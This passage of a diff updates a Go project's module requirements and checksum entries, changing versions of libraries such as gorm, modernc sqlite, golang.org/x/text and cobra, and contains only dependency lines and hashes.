golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.4.0
golang.org/x/text v0.3.8
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.28.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.4.4
gorm.io/driver/postgres v1.4.5
gorm.io/driver/sqlite v1.4.3
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755
gorm.io/driver/mysql v1.4.1
gorm.io/driver/postgres v1.4.4
gorm.io/driver/sqlite v1.4.2
gorm.io/gorm v1.24.0
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
modernc.org/sqlite v1.19.3
modernc.org/sqlite v1.16.0
)
require (
@@ -79,6 +79,7 @@ require (
github.com/gobwas/ws v1.1.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/gorilla/websocket v1.4.2 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
@@ -100,7 +101,7 @@ require (
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.16 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
@@ -123,13 +124,13 @@ require (
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/uint128 v1.2.0 // indirect
modernc.org/cc/v3 v3.40.0 // indirect
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 // indirect
modernc.org/libc v1.21.2 // indirect
modernc.org/mathutil v1.5.0 // indirect
modernc.org/memory v1.4.0 // indirect
modernc.org/opt v0.1.3 // indirect
modernc.org/strutil v1.1.3 // indirect
modernc.org/token v1.0.1 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
modernc.org/libc v1.14.12 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.0.7 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
)
+176 -52
View File
@@ -23,8 +23,8 @@ github.com/Masterminds/semver/v3 v3.1.1 h1:hLg3sBzpNErnxhQtUy/mmLR2I9foDujNK030I
github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
@@ -90,6 +90,7 @@ github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
@@ -115,6 +116,8 @@ github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiU
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/go-test/deep v1.0.4 h1:u2CU3YKy9I2pmu9pX0eq50wCgjfGIt539SqR7FbHiho=
github.com/go-test/deep v1.0.4/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
@@ -122,8 +125,8 @@ github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6Wezm
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v4.3.1+incompatible h1:0/KbAdpx3UXAx1kEOWHJeOkpbgRFGHVgv+CFIY7dBJI=
github.com/gofrs/uuid v4.3.1+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
@@ -149,6 +152,7 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
@@ -161,6 +165,8 @@ github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw=
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
@@ -228,8 +234,8 @@ github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dv
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/jedib0t/go-pretty/v6 v6.4.2 h1:DcJNSNIb1E17Tvy9w9S7z+sExvWvvjNbFdyr6C+FUL0=
github.com/jedib0t/go-pretty/v6 v6.4.2/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
github.com/jedib0t/go-pretty/v6 v6.4.0 h1:YlI/2zYDrweA4MThiYMKtGRfT+2qZOO65ulej8GTcVI=
github.com/jedib0t/go-pretty/v6 v6.4.0/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
@@ -283,15 +289,14 @@ github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y=
github.com/mattn/go-sqlite3 v1.14.16/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWCdcZk8/vA=
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
@@ -332,8 +337,8 @@ github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OK
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
github.com/shirou/gopsutil/v3 v3.22.10 h1:4KMHdfBRYXGF9skjDWiL4RA2N+E8dRdodU/bOZpPoVg=
github.com/shirou/gopsutil/v3 v3.22.10/go.mod h1:QNza6r4YQoydyCfo6rH0blGfKahgibh4dQmV5xdFkQk=
github.com/shirou/gopsutil/v3 v3.22.9 h1:yibtJhIVEMcdw+tCTbOPiF1VcsuDeTE4utJ8Dm4c5eA=
github.com/shirou/gopsutil/v3 v3.22.9/go.mod h1:bBYl1kjgEJpWpxeHmLI+dVHWtyAwfcmSBLDsp2TNT8A=
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
@@ -342,15 +347,16 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
github.com/slack-go/slack v0.11.3 h1:GN7revxEMax4amCc3El9a+9SGnjmBvSUobs0QnO6ZO8=
github.com/slack-go/slack v0.11.3/go.mod h1:hlGi5oXA+Gt+yWTPP0plCdRKmjsDxecdHxYQdlMQKOw=
github.com/spf13/cobra v1.6.0 h1:42a0n6jwCot1pUmomAp4T7DeMD+20LFv4Q54pxLf2LI=
github.com/spf13/cobra v1.6.0/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
@@ -360,17 +366,14 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
github.com/tklauser/go-sysconf v0.3.10/go.mod h1:C8XykCvCb+Gn0oNCWPIlcb0RuglQTYaQ2hGm7jmxEFk=
github.com/tklauser/numcpus v0.4.0/go.mod h1:1+UI3pD8NW14VMwdgJNJ1ESk2UnwhAnz5hMwiKKqXCQ=
github.com/xlab/treeprint v1.1.0 h1:G/1DjNkPpfZCFt9CSh6b5/nY4VimlbHF3Rh4obvtzDk=
github.com/xlab/treeprint v1.1.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
@@ -473,6 +476,7 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -483,7 +487,9 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
@@ -494,7 +500,6 @@ golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec h1:BkDtF2Ih9xZ7le9ndzTA7KJow28VbQW3odyk/8drmuI=
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
@@ -509,8 +514,8 @@ golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.4.0 h1:BrVqGRd7+k1DiOgtnFvAkoQEWQvBc25ouMJM6429SFg=
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
golang.org/x/text v0.3.8 h1:nAL+RVCQ9uMn3vJZbV+MRnydTJFPf8qqY42YiA6MrqY=
golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -527,6 +532,7 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
@@ -604,42 +610,160 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.4.4 h1:MX0K9Qvy0Na4o7qSC/YI7XxqUw5KDw01umqgID+svdQ=
gorm.io/driver/mysql v1.4.4/go.mod h1:BCg8cKI+R0j/rZRQxeKis/forqRwRSYOR8OM3Wo6hOM=
